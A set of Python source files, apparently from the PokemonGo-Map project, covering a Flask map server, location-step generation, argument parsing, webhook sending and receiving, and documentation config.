    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
    if not cr:
        try:
            fd = os.open(os.ctermid(), os.O_RDONLY)
            cr = ioctl_GWINSZ(fd)
            os.close(fd)
        except:
            pass
    if not cr:
        try:
            cr = (os.environ['LINES'], os.environ['COLUMNS'])
        except:
            return None
    return int(cr[1]), int(cr[0])


if __name__ == "__main__":
    sizex, sizey = get_terminal_size()
    print 'width =', sizex, 'height =', sizey






#!/usr/bin/python
# -*- coding: utf-8 -*-

import logging
import requests
from .utils import get_args

log = logging.getLogger(__name__)


def send_to_webhook(message_type, message):
    args = get_args()

    if not args.webhooks:
        # what are you even doing here...
        return

    data = {
        'type': message_type,
        'message': message
    }

    for w in args.webhooks:
        try:
            requests.post(w, json=data, timeout=(None, 1))
        except requests.exceptions.ReadTimeout:
            log.debug('Response timeout on webhook endpoint %s', w)
        except requests.exceptions.RequestException as e:
            log.debug(e)


def wh_updater(args, q):
    # The forever loop
    while True:
        try:
            # Loop the queue
            while True:
                whtype, message = q.get()
                send_to_webhook(whtype, message)
                if q.qsize() > 50:
                    log.warning("Webhook queue is > 50 (@%d); try increasing --wh-threads", q.qsize())
                q.task_done()
        except Exception as e:
            log.exception('Exception in wh_updater: %s', e)






#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import struct
from time import time
from .utils import get_args


class FakePogoApi:

    def __init__(self, mock):
        # Fake a 24 hour auth token
        self._auth_provider = type('', (object,), {"_ticket_expire": (time() + (3600 * 24)) * 1000})()
        self.inited = False
        self.mock = mock

    def set_proxy(self, proxy_config):
        pass

    def activate_signature(self, library):
        pass

    def set_position(self, lat, lng, alt):
        # meters radius (very, very rough approximation -- deal with it)
        if not self.inited:
            args = get_args()
            radius = 140 * args.step_limit
            requests.get('{}/login/{}/{}/{}'.format(self.mock, lat, lng, radius))
            self.inited = True

    def set_authentication(self, provider=None, oauth2_refresh_token=None, username=None, password=None):
        pass

    def i2f(self, i):
        return struct.unpack('<d', struct.pack('<Q', i))[0]

    def get_map_objects(self, latitude=None, longitude=None, since_timestamp_ms=None, cell_id=None):
        location = (self.i2f(latitude), self.i2f(longitude))
        response = requests.get('{}/scan/{}/{}'.format(self.mock, *location))
        return response.json()






#!/usr/bin/python
# -*- coding: utf-8 -*-

config = {
    'LOCALE': 'en',
    'LOCALES_DIR': 'static/dist/locales',
    'ROOT_PATH': '',
    'DATA_DIR': 'static/dist/data',
    'GMAPS_KEY': None
}






import math
import geopy

a = 6378245.0
ee = 0.00669342162296594323
pi = 3.14159265358979324


def transform_from_wgs_to_gcj(latitude, longitude):
    if is_location_out_of_china(latitude, longitude):
        adjust_lat, adjust_lon = latitude, longitude
    else:
        adjust_lat = transform_lat(longitude - 105, latitude - 35.0)
        adjust_lon = transform_long(longitude - 105, latitude - 35.0)
        rad_lat = latitude / 180.0 * pi
        magic = math.sin(rad_lat)
        magic = 1 - ee * magic * magic
        math.sqrt_magic = math.sqrt(magic)
        adjust_lat = (adjust_lat * 180.0) / ((a * (1 - ee)) / (magic * math.sqrt_magic) * pi)
        adjust_lon = (adjust_lon * 180.0) / (a / math.sqrt_magic * math.cos(rad_lat) * pi)
        adjust_lat += latitude
        adjust_lon += longitude
    #  print 'transfromed from ', wgs_loc, ' to ', adjust_loc
    return adjust_lat, adjust_lon


def is_location_out_of_china(latitude, longitude):
    if longitude < 72.004 or longitude > 137.8347 or latitude < 0.8293 or latitude > 55.8271:
        return True
    return False


def transform_lat(x, y):
    lat = -100.0 + 2.0 * x + 3.0 * y + 0.2 * y * y + 0.1 * x * y + 0.2 * math.sqrt(abs(x))
    lat += (20.0 * math.sin(6.0 * x * pi) + 20.0 * math.sin(2.0 * x * pi)) * 2.0 / 3.0
    lat += (20.0 * math.sin(y * pi) + 40.0 * math.sin(y / 3.0 * pi)) * 2.0 / 3.0
    lat += (160.0 * math.sin(y / 12.0 * pi) + 320 * math.sin(y * pi / 30.0)) * 2.0 / 3.0
    return lat


def transform_long(x, y):
    lon = 300.0 + x + 2.0 * y + 0.1 * x * x + 0.1 * x * y + 0.1 * math.sqrt(abs(x))
    lon += (20.0 * math.sin(6.0 * x * pi) + 20.0 * math.sin(2.0 * x * pi)) * 2.0 / 3.0
    lon += (20.0 * math.sin(x * pi) + 40.0 * math.sin(x / 3.0 * pi)) * 2.0 / 3.0
    lon += (150.0 * math.sin(x / 12.0 * pi) + 300.0 * math.sin(x / 30.0 * pi)) * 2.0 / 3.0
    return lon


def get_new_coords(init_loc, distance, bearing):
    """
    Given an initial lat/lng, a distance(in kms), and a bearing (degrees),
    this will calculate the resulting lat/lng coordinates.
    """
    origin = geopy.Point(init_loc[0], init_loc[1])
    destination = geopy.distance.distance(kilometers=distance).destination(origin, bearing)
    return (destination.latitude, destination.longitude)


def generate_location_steps(initial_loc, step_count, step_distance):
    # Bearing (degrees)
    NORTH = 0
    EAST = 90
    SOUTH = 180
    WEST = 270

    pulse_radius = step_distance            # km - radius of players heartbeat is 70m
    xdist = math.sqrt(3) * pulse_radius   # dist between column centers
    ydist = 3 * (pulse_radius / 2)          # dist between row centers

    yield (initial_loc[0], initial_loc[1], 0)  # insert initial location

    ring = 1
    loc = initial_loc
    while ring < step_count:
        # Set loc to start at top left
        loc = get_new_coords(loc, ydist, NORTH)
        loc = get_new_coords(loc, xdist / 2, WEST)
        for direction in range(6):
            for i in range(ring):
                if direction == 0:  # RIGHT
                    loc = get_new_coords(loc, xdist, EAST)
                if direction == 1:  # DOWN + RIGHT
                    loc = get_new_coords(loc, ydist, SOUTH)
                    loc = get_new_coords(loc, xdist / 2, EAST)
                if direction == 2:  # DOWN + LEFT
                    loc = get_new_coords(loc, ydist, SOUTH)
                    loc = get_new_coords(loc, xdist / 2, WEST)
                if direction == 3:  # LEFT
                    loc = get_new_coords(loc, xdist, WEST)
                if direction == 4:  # UP + LEFT
                    loc = get_new_coords(loc, ydist, NORTH)
                    loc = get_new_coords(loc, xdist / 2, WEST)
                if direction == 5:  # UP + RIGHT
                    loc = get_new_coords(loc, ydist, NORTH)
                    loc = get_new_coords(loc, xdist / 2, EAST)
                yield (loc[0], loc[1], 0)
        ring += 1






#!/usr/bin/python
# -*- coding: utf-8 -*-

import calendar
import logging

from flask import Flask, jsonify, render_template, request
from flask.json import JSONEncoder
from flask_compress import Compress
from datetime import datetime
from s2sphere import LatLng
from pogom.utils import get_args
from datetime import timedelta
from collections import OrderedDict

from . import config
from .models import Pokemon, Gym, Pokestop, ScannedLocation

log = logging.getLogger(__name__)
compress = Compress()


class Pogom(Flask):
    def __init__(self, import_name, **kwargs):
        super(Pogom, self).__init__(import_name, **kwargs)
        compress.init_app(self)
        self.json_encoder = CustomJSONEncoder
        self.route("/", methods=['GET'])(self.fullmap)
        self.route("/raw_data", methods=['GET'])(self.raw_data)
        self.route("/loc", methods=['GET'])(self.loc)
        self.route("/next_loc", methods=['POST'])(self.next_loc)
        self.route("/mobile", methods=['GET'])(self.list_pokemon)
        self.route("/search_control", methods=['GET'])(self.get_search_control)
        self.route("/search_control", methods=['POST'])(self.post_search_control)
        self.route("/stats", methods=['GET'])(self.get_stats)

    def set_search_control(self, control):
        self.search_control = control

    def set_location_queue(self, queue):
        self.location_queue = queue

    def set_current_location(self, location):
        self.current_location = location

    def get_search_control(self):
        return jsonify({'status': not self.search_control.is_set()})

    def post_search_control(self):
        args = get_args()
        if not args.search_control:
            return 'Search control is disabled', 403
        action = request.args.get('action', 'none')
        if action == 'on':
            self.search_control.clear()
            log.info('Search thread resumed')
        elif action == 'off':
            self.search_control.set()
            log.info('Search thread paused')
        else:
            return jsonify({'message': 'invalid use of api'})
        return self.get_search_control()

    def fullmap(self):
        args = get_args()
        fixed_display = "none" if args.fixed_location else "inline"
        search_display = "inline" if args.search_control else "none"

        return render_template('map.html',
                               lat=self.current_location[0],
                               lng=self.current_location[1],
                               gmaps_key=config['GMAPS_KEY'],
                               lang=config['LOCALE'],
                               is_fixed=fixed_display,
                               search_control=search_display
                               )

    def raw_data(self):
        d = {}
        swLat = request.args.get('swLat')
        swLng = request.args.get('swLng')
        neLat = request.args.get('neLat')
        neLng = request.args.get('neLng')
        if request.args.get('pokemon', 'true') == 'true':
            if request.args.get('ids'):
                ids = [int(x) for x in request.args.get('ids').split(',')]
                d['pokemons'] = Pokemon.get_active_by_id(ids, swLat, swLng,
                                                         neLat, neLng)
            else:
                d['pokemons'] = Pokemon.get_active(swLat, swLng, neLat, neLng)

        if request.args.get('pokestops', 'true') == 'true':
            d['pokestops'] = Pokestop.get_stops(swLat, swLng, neLat, neLng)

        if request.args.get('gyms', 'true') == 'true':
            d['gyms'] = Gym.get_gyms(swLat, swLng, neLat, neLng)

        if request.args.get('scanned', 'true') == 'true':
            d['scanned'] = ScannedLocation.get_recent(swLat, swLng, neLat,
                                                      neLng)

        if request.args.get('seen', 'false') == 'true':
            for duration in self.get_valid_stat_input()["duration"]["items"].values():
                if duration["selected"] == "SELECTED":
                    d['seen'] = Pokemon.get_seen(duration["value"])
                    break

        if request.args.get('appearances', 'false') == 'true':
            d['appearances'] = Pokemon.get_appearances(request.args.get('pokemonid'), request.args.get('last', type=float))

        if request.args.get('spawnpoints', 'false') == 'true':
            d['spawnpoints'] = Pokemon.get_spawnpoints(swLat, swLng, neLat, neLng)

        return jsonify(d)

    def loc(self):
        d = {}
        d['lat'] = self.current_location[0]
        d['lng'] = self.current_location[1]

        return jsonify(d)

    def next_loc(self):
        args = get_args()
        if args.fixed_location:
            return 'Location changes are turned off', 403
        # part of query string
        if request.args:
            lat = request.args.get('lat', type=float)
            lon = request.args.get('lon', type=float)
        # from post requests
        if request.form:
            lat = request.form.get('lat', type=float)
            lon = request.form.get('lon', type=float)

        if not (lat and lon):
            log.warning('Invalid next location: %s,%s', lat, lon)
            return 'bad parameters', 400
        else:
            self.location_queue.put((lat, lon, 0))
            self.set_current_location((lat, lon, 0))
            log.info('Changing next location: %s,%s', lat, lon)
            return self.loc()

    def list_pokemon(self):
        # todo: check if client is android/iOS/Desktop for geolink, currently
        # only supports android
        pokemon_list = []

        # Allow client to specify location
        lat = request.args.get('lat', self.current_location[0], type=float)
        lon = request.args.get('lon', self.current_location[1], type=float)
        origin_point = LatLng.from_degrees(lat, lon)

        for pokemon in Pokemon.get_active(None, None, None, None):
            pokemon_point = LatLng.from_degrees(pokemon['latitude'],
                                                pokemon['longitude'])
            diff = pokemon_point - origin_point
            diff_lat = diff.lat().degrees
            diff_lng = diff.lng().degrees
            direction = (('N' if diff_lat >= 0 else 'S')
                         if abs(diff_lat) > 1e-4 else '') +\
                        (('E' if diff_lng >= 0 else 'W')
                         if abs(diff_lng) > 1e-4 else '')
            entry = {
                'id': pokemon['pokemon_id'],
                'name': pokemon['pokemon_name'],
                'card_dir': direction,
                'distance': int(origin_point.get_distance(
                    pokemon_point).radians * 6366468.241830914),
                'time_to_disappear': '%d min %d sec' % (divmod((
                    pokemon['disappear_time'] - datetime.utcnow()).seconds, 60)),
                'disappear_time': pokemon['disappear_time'],
                'disappear_sec': (pokemon['disappear_time'] - datetime.utcnow()).seconds,
                'latitude': pokemon['latitude'],
                'longitude': pokemon['longitude']
            }
            pokemon_list.append((entry, entry['distance']))
        pokemon_list = [y[0] for y in sorted(pokemon_list, key=lambda x: x[1])]
        return render_template('mobile_list.html',
                               pokemon_list=pokemon_list,
                               origin_lat=lat,
                               origin_lng=lon)

    def get_valid_stat_input(self):
        duration = request.args.get("duration", type=str)
        sort = request.args.get("sort", type=str)
        order = request.args.get("order", type=str)
        valid_durations = OrderedDict()
        valid_durations["1h"] = {"display": "Last Hour", "value": timedelta(hours=1), "selected": ("SELECTED" if duration == "1h" else "")}
        valid_durations["3h"] = {"display": "Last 3 Hours", "value": timedelta(hours=3), "selected": ("SELECTED" if duration == "3h" else "")}
        valid_durations["6h"] = {"display": "Last 6 Hours", "value": timedelta(hours=6), "selected": ("SELECTED" if duration == "6h" else "")}
        valid_durations["12h"] = {"display": "Last 12 Hours", "value": timedelta(hours=12), "selected": ("SELECTED" if duration == "12h" else "")}
        valid_durations["1d"] = {"display": "Last Day", "value": timedelta(days=1), "selected": ("SELECTED" if duration == "1d" else "")}
        valid_durations["7d"] = {"display": "Last 7 Days", "value": timedelta(days=7), "selected": ("SELECTED" if duration == "7d" else "")}
        valid_durations["14d"] = {"display": "Last 14 Days", "value": timedelta(days=14), "selected": ("SELECTED" if duration == "14d" else "")}
        valid_durations["1m"] = {"display": "Last Month", "value": timedelta(days=365 / 12), "selected": ("SELECTED" if duration == "1m" else "")}
        valid_durations["3m"] = {"display": "Last 3 Months", "value": timedelta(days=3 * 365 / 12), "selected": ("SELECTED" if duration == "3m" else "")}
        valid_durations["6m"] = {"display": "Last 6 Months", "value": timedelta(days=6 * 365 / 12), "selected": ("SELECTED" if duration == "6m" else "")}
        valid_durations["1y"] = {"display": "Last Year", "value": timedelta(days=365), "selected": ("SELECTED" if duration == "1y" else "")}
        valid_durations["all"] = {"display": "Map Lifetime", "value": 0, "selected": ("SELECTED" if duration == "all" else "")}
        if duration not in valid_durations:
            valid_durations["1d"]["selected"] = "SELECTED"
        valid_sort = OrderedDict()
        valid_sort["count"] = {"display": "Count", "selected": ("SELECTED" if sort == "count" else "")}
        valid_sort["id"] = {"display": "Pokedex Number", "selected": ("SELECTED" if sort == "id" else "")}
        valid_sort["name"] = {"display": "Pokemon Name", "selected": ("SELECTED" if sort == "name" else "")}
        if sort not in valid_sort:
            valid_sort["count"]["selected"] = "SELECTED"
        valid_order = OrderedDict()
        valid_order["asc"] = {"display": "Ascending", "selected": ("SELECTED" if order == "asc" else "")}
        valid_order["desc"] = {"display": "Descending", "selected": ("SELECTED" if order == "desc" else "")}
        if order not in valid_order:
            valid_order["desc"]["selected"] = "SELECTED"
        valid_input = OrderedDict()
        valid_input["duration"] = {"display": "Duration", "items": valid_durations}
        valid_input["sort"] = {"display": "Sort", "items": valid_sort}
        valid_input["order"] = {"display": "Order", "items": valid_order}
        return valid_input

    def get_stats(self):
        return render_template('statistics.html',
                               lat=self.current_location[0],
                               lng=self.current_location[1],
                               gmaps_key=config['GMAPS_KEY'],
                               valid_input=self.get_valid_stat_input()
                               )


class CustomJSONEncoder(JSONEncoder):

    def default(self, obj):
        try:
            if isinstance(obj, datetime):
                if obj.utcoffset() is not None:
                    obj = obj - obj.utcoffset()
                millis = int(
                    calendar.timegm(obj.timetuple()) * 1000 +
                    obj.microsecond / 1000
                )
                return millis
            iterable = iter(obj)
        except TypeError:
            pass
        else:
            return list(iterable)
        return JSONEncoder.default(self, obj)






#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import configargparse
import uuid
import os
import json
from datetime import datetime, timedelta
import logging
import shutil
import platform
import pprint
import time

from . import config

log = logging.getLogger(__name__)


def parse_unicode(bytestring):
    decoded_string = bytestring.decode(sys.getfilesystemencoding())
    return decoded_string


def verify_config_file_exists(filename):
    fullpath = os.path.join(os.path.dirname(__file__), filename)
    if not os.path.exists(fullpath):
        log.info('Could not find %s, copying default', filename)
        shutil.copy2(fullpath + '.example', fullpath)


def memoize(function):
    memo = {}

    def wrapper(*args):
        if args in memo:
            return memo[args]
        else:
            rv = function(*args)
            memo[args] = rv
            return rv
    return wrapper


@memoize
def get_args():
    # fuck PEP8
    configpath = os.path.join(os.path.dirname(__file__), '../config/config.ini')
    parser = configargparse.ArgParser(default_config_files=[configpath], auto_env_var_prefix='POGOMAP_')
    parser.add_argument('-a', '--auth-service', type=str.lower, action='append',
                        help='Auth Services, either one for all accounts or one per account: ptc or google. Defaults all to ptc.')
    parser.add_argument('-u', '--username', action='append',
                        help='Usernames, one per account.')
    parser.add_argument('-p', '--password', action='append',
                        help='Passwords, either single one for all accounts or one per account.')
    parser.add_argument('-l', '--location', type=parse_unicode,
                        help='Location, can be an address or coordinates')
    parser.add_argument('-j', '--jitter', help='Apply random -9m to +9m jitter to location',
                        action='store_true', default=False)
    parser.add_argument('-st', '--step-limit', help='Steps', type=int,
                        default=12)
    parser.add_argument('-sd', '--scan-delay',
                        help='Time delay between requests in scan threads',
                        type=float, default=10)
    parser.add_argument('-ld', '--login-delay',
                        help='Time delay between each login attempt',
                        type=float, default=5)
    parser.add_argument('-lr', '--login-retries',
                        help='Number of logins attempts before refreshing a thread',
                        type=int, default=3)
    parser.add_argument('-mf', '--max-failures',
                        help='Maximum number of failures to parse locations before an account will go into a two hour sleep',
                        type=int, default=5)
    parser.add_argument('-msl', '--min-seconds-left',
                        help='Time that must be left on a spawn before considering it too late and skipping it. eg. 600 would skip anything with < 10 minutes remaining. Default 0.',
                        type=int, default=0)
    parser.add_argument('-dc', '--display-in-console',
                        help='Display Found Pokemon in Console',
                        action='store_true', default=False)
    parser.add_argument('-H', '--host', help='Set web server listening host',
                        default='127.0.0.1')
    parser.add_argument('-P', '--port', type=int,
                        help='Set web server listening port', default=5000)
    parser.add_argument('-L', '--locale',
                        help='Locale for Pokemon names (default: {},\
                        check {} for more)'.
                        format(config['LOCALE'], config['LOCALES_DIR']), default='en')
    parser.add_argument('-c', '--china',
                        help='Coordinates transformer for China',
                        action='store_true')
    parser.add_argument('-d', '--debug', help='Debug Mode', action='store_true')
    parser.add_argument('-m', '--mock', type=str,
                        help='Mock mode - point to a fpgo endpoint instead of using the real PogoApi, ec: http://127.0.0.1:9090',
                        default='')
    parser.add_argument('-ns', '--no-server',
                        help='No-Server Mode. Starts the searcher but not the Webserver.',
                        action='store_true', default=False)
    parser.add_argument('-os', '--only-server',
                        help='Server-Only Mode. Starts only the Webserver without the searcher.',
                        action='store_true', default=False)
    parser.add_argument('-nsc', '--no-search-control',
                        help='Disables search control',
                        action='store_false', dest='search_control', default=True)
    parser.add_argument('-fl', '--fixed-location',
                        help='Hides the search bar for use in shared maps.',
                        action='store_true', default=False)
    parser.add_argument('-k', '--gmaps-key',
                        help='Google Maps Javascript API Key',
                        required=True)
    parser.add_argument('--spawnpoints-only', help='Only scan locations with spawnpoints in them.',
                        action='store_true', default=False)
    parser.add_argument('-C', '--cors', help='Enable CORS on web server',
                        action='store_true', default=False)
    parser.add_argument('-D', '--db', help='Database filename',
                        default='pogom.db')
    parser.add_argument('-cd', '--clear-db',
                        help='Deletes the existing database before starting the Webserver.',
                        action='store_true', default=False)
    parser.add_argument('-np', '--no-pokemon',
                        help='Disables Pokemon from the map (including parsing them into local db)',
                        action='store_true', default=False)
    parser.add_argument('-ng', '--no-gyms',
                        help='Disables Gyms from the map (including parsing them into local db)',
                        action='store_true', default=False)
    parser.add_argument('-nk', '--no-pokestops',
                        help='Disables PokeStops from the map (including parsing them into local db)',
                        action='store_true', default=False)
    parser.add_argument('-ss', '--spawnpoint-scanning',
                        help='Use spawnpoint scanning (instead of hex grid)', nargs='?', const='nofile', default=False)
    parser.add_argument('--dump-spawnpoints', help='dump the spawnpoints from the db to json (only for use with -ss)',
                        action='store_true', default=False)
    parser.add_argument('-pd', '--purge-data',
                        help='Clear pokemon from database this many hours after they disappear \
                        (0 to disable)', type=int, default=0)
    parser.add_argument('-px', '--proxy', help='Proxy url (e.g. socks5://127.0.0.1:9050)')
    parser.add_argument('--db-type', help='Type of database to be used (default: sqlite)',
                        default='sqlite')
    parser.add_argument('--db-name', help='Name of the database to be used')
    parser.add_argument('--db-user', help='Username for the database')
    parser.add_argument('--db-pass', help='Password for the database')
    parser.add_argument('--db-host', help='IP or hostname for the database')
    parser.add_argument('--db-port', help='Port for the database', type=int, default=3306)
    parser.add_argument('--db-max_connections', help='Max connections (per thread) for the database',
                        type=int, default=5)
    parser.add_argument('--db-threads', help='Number of db threads; increase if the db queue falls behind',
                        type=int, default=1)
    parser.add_argument('-wh', '--webhook', help='Define URL(s) to POST webhook information to',
                        nargs='*', default=False, dest='webhooks')
    parser.add_argument('--webhook-updates-only', help='Only send updates (pokémon & lured pokéstops)',
                        action='store_true', default=False)
    parser.add_argument('--wh-threads', help='Number of webhook threads; increase if the webhook queue falls behind',
                        type=int, default=1)
    parser.add_argument('--ssl-certificate', help='Path to SSL certificate file')
    parser.add_argument('--ssl-privatekey', help='Path to SSL private key file')
    parser.add_argument('-ps', '--print-status', action='store_true',
                        help='Show a status screen instead of log messages. Can switch between status and logs by pressing enter.', default=False)
    parser.add_argument('-el', '--encrypt-lib', help='Path to encrypt lib to be used instead of the shipped ones')
    parser.set_defaults(DEBUG=False)

    args = parser.parse_args()

    if args.only_server:
        if args.location is None:
            parser.print_usage()
            print(sys.argv[0] + ": error: arguments -l/--location is required")
            sys.exit(1)
    else:
        errors = []

        num_auths = 1
        num_usernames = 0
        num_passwords = 0

        if (args.username is None):
            errors.append('Missing `username` either as -u/--username or in config')
        else:
            num_usernames = len(args.username)

        if (args.location is None):
            errors.append('Missing `location` either as -l/--location or in config')

        if (args.password is None):
            errors.append('Missing `password` either as -p/--password or in config')
        else:
            num_passwords = len(args.password)

        if (args.step_limit is None):
            errors.append('Missing `step_limit` either as -st/--step-limit or in config')

        if args.auth_service is None:
            args.auth_service = ['ptc']
        else:
            num_auths = len(args.auth_service)

        if num_usernames > 1:
            if num_passwords > 1 and num_usernames != num_passwords:
                errors.append('The number of provided passwords ({}) must match the username count ({})'.format(num_passwords, num_usernames))
            if num_auths > 1 and num_usernames != num_auths:
                errors.append('The number of provided auth ({}) must match the username count ({})'.format(num_auths, num_usernames))

        if len(errors) > 0:
            parser.print_usage()
            print(sys.argv[0] + ": errors: \n - " + "\n - ".join(errors))
            sys.exit(1)

        # Fill the pass/auth if set to a single value
        if num_passwords == 1:
            args.password = [args.password[0]] * num_usernames
        if num_auths == 1:
            args.auth_service = [args.auth_service[0]] * num_usernames

        # Make our accounts list
        args.accounts = []

        # Make the accounts list
        for i, username in enumerate(args.username):
            args.accounts.append({'username': username, 'password': args.password[i], 'auth_service': args.auth_service[i]})

    return args


def insert_mock_data(position):
    num_pokemon = 6
    num_pokestop = 6
    num_gym = 6

    log.info('Creating fake: %d pokemon, %d pokestops, %d gyms',
             num_pokemon, num_pokestop, num_gym)

    from .models import Pokemon, Pokestop, Gym
    from .search import generate_location_steps

    latitude, longitude = float(position[0]), float(position[1])

    locations = [l for l in generate_location_steps((latitude, longitude), num_pokemon, 0.07)]
    disappear_time = datetime.now() + timedelta(hours=1)

    detect_time = datetime.now()

    for i in range(1, num_pokemon):
        Pokemon.create(encounter_id=uuid.uuid4(),
                       spawnpoint_id='sp{}'.format(i),
                       pokemon_id=(i + 1) % 150,
                       latitude=locations[i][0],
                       longitude=locations[i][1],
                       disappear_time=disappear_time,
                       detect_time=detect_time)

    for i in range(1, num_pokestop):
        Pokestop.create(pokestop_id=uuid.uuid4(),
                        enabled=True,
                        latitude=locations[i + num_pokemon][0],
                        longitude=locations[i + num_pokemon][1],
                        last_modified=datetime.now(),
                        # Every other pokestop be lured
                        lure_expiration=disappear_time if (i % 2 == 0) else None,
                        )

    for i in range(1, num_gym):
        Gym.create(gym_id=uuid.uuid4(),
                   team_id=i % 3,
                   guard_pokemon_id=(i + 1) % 150,
                   latitude=locations[i + num_pokemon + num_pokestop][0],
                   longitude=locations[i + num_pokemon + num_pokestop][1],
                   last_modified=datetime.now(),
                   enabled=True,
                   gym_points=1000
                   )


def now():
    # The fact that you need this helper...
    return int(time.time())


def i8ln(word):
    if config['LOCALE'] == "en":
        return word
    if not hasattr(i8ln, 'dictionary'):
        file_path = os.path.join(
            config['ROOT_PATH'],
            config['LOCALES_DIR'],
            '{}.min.json'.format(config['LOCALE']))
        if os.path.isfile(file_path):
            with open(file_path, 'r') as f:
                i8ln.dictionary = json.loads(f.read())
        else:
            log.warning('Skipping translations - Unable to find locale file: %s', file_path)
            return word
    if word in i8ln.dictionary:
        return i8ln.dictionary[word]
    else:
        log.debug('Unable to find translation for "%s" in locale %s!', word, config['LOCALE'])
        return word


def get_pokemon_data(pokemon_id):
    if not hasattr(get_pokemon_data, 'pokemon'):
        file_path = os.path.join(
            config['ROOT_PATH'],
            config['DATA_DIR'],
            'pokemon.min.json')

        with open(file_path, 'r') as f:
            get_pokemon_data.pokemon = json.loads(f.read())
    return get_pokemon_data.pokemon[str(pokemon_id)]


def get_pokemon_name(pokemon_id):
    return i8ln(get_pokemon_data(pokemon_id)['name'])


def get_pokemon_rarity(pokemon_id):
    return i8ln(get_pokemon_data(pokemon_id)['rarity'])


def get_pokemon_types(pokemon_id):
    pokemon_types = get_pokemon_data(pokemon_id)['types']
    return map(lambda x: {"type": i8ln(x['type']), "color": x['color']}, pokemon_types)


def get_encryption_lib_path(args):
    if args.encrypt_lib is not None:
        lib_path = args.encrypt_lib

        if not os.path.isfile(lib_path):
            err = "Could not find manually specified encryption library {}".format(lib_path)
            log.error(err)
            raise Exception(err)
    else:
        # win32 doesn't mean necessarily 32 bits
        if sys.platform == "win32" or sys.platform == "cygwin":
            if platform.architecture()[0] == '64bit':
                lib_name = "encrypt64bit.dll"
            else:
                lib_name = "encrypt32bit.dll"

        elif sys.platform == "darwin":
            lib_name = "libencrypt-osx-64.so"

        elif os.uname()[4].startswith("arm") and platform.architecture()[0] == '32bit':
            lib_name = "libencrypt-linux-arm-32.so"

        elif os.uname()[4].startswith("aarch64") and platform.architecture()[0] == '64bit':
            lib_name = "libencrypt-linux-arm-64.so"

        elif sys.platform.startswith('linux'):
            if "centos" in platform.platform():
                if platform.architecture()[0] == '64bit':
                    lib_name = "libencrypt-centos-x86-64.so"
                else:
                    lib_name = "libencrypt-linux-x86-32.so"
            else:
                if platform.architecture()[0] == '64bit':
                    lib_name = "libencrypt-linux-x86-64.so"
                else:
                    lib_name = "libencrypt-linux-x86-32.so"

        elif sys.platform.startswith('freebsd'):
            lib_name = "libencrypt-freebsd-64.so"

        else:
            err = "Unexpected/unsupported platform '{}'. If you have encrypt lib compiled for your platform, specify its location with '--encrypt-lib' parameter".format(sys.platform)
            log.error(err)
            raise Exception(err)

        lib_path = os.path.join(os.path.dirname(__file__), "libencrypt", lib_name)

        if not os.path.isfile(lib_path):
            err = "Could not find {} encryption library {}".format(sys.platform, lib_path)
            log.error(err)
            raise Exception(err)

    return lib_path


class Timer():

    def __init__(self, name):
        self.times = [(name, time.time(), 0)]

    def add(self, step):
        t = time.time()
        self.times.append((step, t, round((t - self.times[-1][1]) * 1000)))

    def checkpoint(self, step):
        t = time.time()
        self.times.append(('total @ ' + step, t, t - self.times[0][1]))

    def output(self):
        self.checkpoint('end')
        pprint.pprint(self.times)






from .utils import get_pokemon_rarity, get_pokemon_name
from pogom.utils import get_args
from datetime import datetime

args = get_args()
# temporarily disabling because -o and -i is removed from 51f651228c00a96b86f5c38d1a2d53b32e5d9862
# IGNORE = None
# ONLY = None
# if args.ignore:
#     IGNORE =  [i.lower().strip() for i in args.ignore.split(',')]
# elif args.only:
#     ONLY = [i.lower().strip() for i in args.only.split(',')]


def printPokemon(id, lat, lng, itime):
    if args.display_in_console:
        pokemon_name = get_pokemon_name(id).lower()
        pokemon_rarity = get_pokemon_rarity(id).lower()
        pokemon_id = str(id)
        doPrint = True
        # if args.ignore:
        #     if pokemon_name in IGNORE or pokemon_id in IGNORE:
        #         doPrint = False
        # elif args.only:
        #     if pokemon_name not in ONLY and pokemon_id not in ONLY:
        #         doPrint = False
        if doPrint:
            timeLeft = itime - datetime.utcnow()
            print("======================================\n Name: %s\n Rarity: %s\n Coord: (%f,%f)\n ID: %s \n Remaining Time: %s\n======================================" % (
                pokemon_name.encode('utf-8'), pokemon_rarity.encode('utf-8'), lat, lng, pokemon_id, str(timeLeft)))






#!/usr/bin/env python
# -*- coding:utf-8 -*-

# A super basic python webhook receiver
# Run in a new terminal as:
#
#    ./hook.py 0.0.0.0 8123
#
# Then setup your runserver.py with `-wh http://127.0.0.1:8123`

import sys
import time
import json
import pprint
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

HOST_NAME = sys.argv[1]
HOST_PORT = int(sys.argv[2])


class S(BaseHTTPRequestHandler):
    def do_POST(self):
        data_string = self.rfile.read(int(self.headers['Content-Length']))
        self.send_response(200)
        self.end_headers()
        pprint.pprint(json.loads(data_string))


if __name__ == '__main__':
    httpd = HTTPServer((HOST_NAME, HOST_PORT), S)
    print time.asctime(), "Server Starts - %s:%s" % (HOST_NAME, HOST_PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST_NAME, HOST_PORT)






# -*- coding: utf-8 -*-
#
# PokemonGo-Map documentation build configuration file, created by
# sphinx-quickstart on Tue Aug  2 02:20:19 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
# import os
# import sys
# sys.path.insert(0, os.path.abspath('.'))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = []

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# Add markdown support
from recommonmark.parser import CommonMarkParser
source_parsers = {
    '.md': CommonMarkParser,
}

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
source_suffix = ['.rst', '.md']
#source_suffix = '.md'

# The encoding of source files.
#
# source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'PokemonGo-Map'
copyright = u'2016, Pokemon Masters'
author = u'Pokemon Masters'

# The version info for the project you're documenting, acts as replacement for
